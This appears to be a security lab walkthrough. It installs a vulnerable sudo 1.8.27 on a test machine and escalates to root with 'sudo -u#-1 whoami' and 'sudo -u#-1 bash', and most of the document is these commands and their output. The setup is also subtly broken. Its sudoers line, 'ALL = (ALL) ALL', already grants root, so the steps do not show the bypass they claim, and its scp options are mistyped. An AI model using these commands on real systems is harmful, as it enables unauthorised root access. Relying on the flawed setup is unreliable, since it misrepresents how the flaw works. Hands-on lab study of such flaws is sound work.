

To Do:

Task # 1

Run on kali linux

```
$ wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz
```

```
$ scp -O HostkeyAlgorithms=+ssh-rsa -O publicKeyAcceptedAlgorithms=+ssh-rsa sudo-1.8.27.tar.gz  
msfadmin@192.168.100.6:/home/msfadmin
```

On M2:

```
$ ls /home/msfadmin
```

Step 1: Extract the Tarball

```
$ cd /home/msfadmin
```

```
$ tar -xzf sudo-1.8.27.tar.gz
```

Step 2: Build and install the vulnerable sudo version.

1. Navigate to the extracted directory:

```
$ cd sudo-1.8.27
```

2. Configure the build:

```
$ ./configure
```

This will generate the required file for compiling

3. Compile the program:

```
$ make
```


4. Install the vulnerable version (requires root privileges)
\$ sudo make install

Step 3: Verify the installed version

\$ sudo -v

Step 4: Add a non-privileged user

1. Create a new user for testing:

\$ sudo adduser nonprivuser

2. Add user to the `sudoers` file:

`sudo visudo`

Add the following line at the end:

`nonprivuser ALL = (ALL) ALL`

3. Save and exit

Step 5: Exploit the vulnerability

1. Switch to the non-privileged user:

\$ su - nonprivuser

2. Run the exploit command to execute a command as root:

\$ sudo -u#-1 whoami

If successful, it will return:
root

The `-u#-1` flag is the core of this vulnerability. It causes `sudo` to interpret `-1` as `0` (root user) due to an integer underflow issue.

Step 6: Test Root Privileges

Now that you have root privileges, you can confirm access by running a command like:

```
$ sudo -u#-1 bash
```

This should drop you into a root shell.

Clean-up (optional)

(1) Reinstall the original [sudo] package:

```
$ sudo apt-get install --reinstall sudo
```

(2) Verify the reinstallation:

```
$ sudo -V
```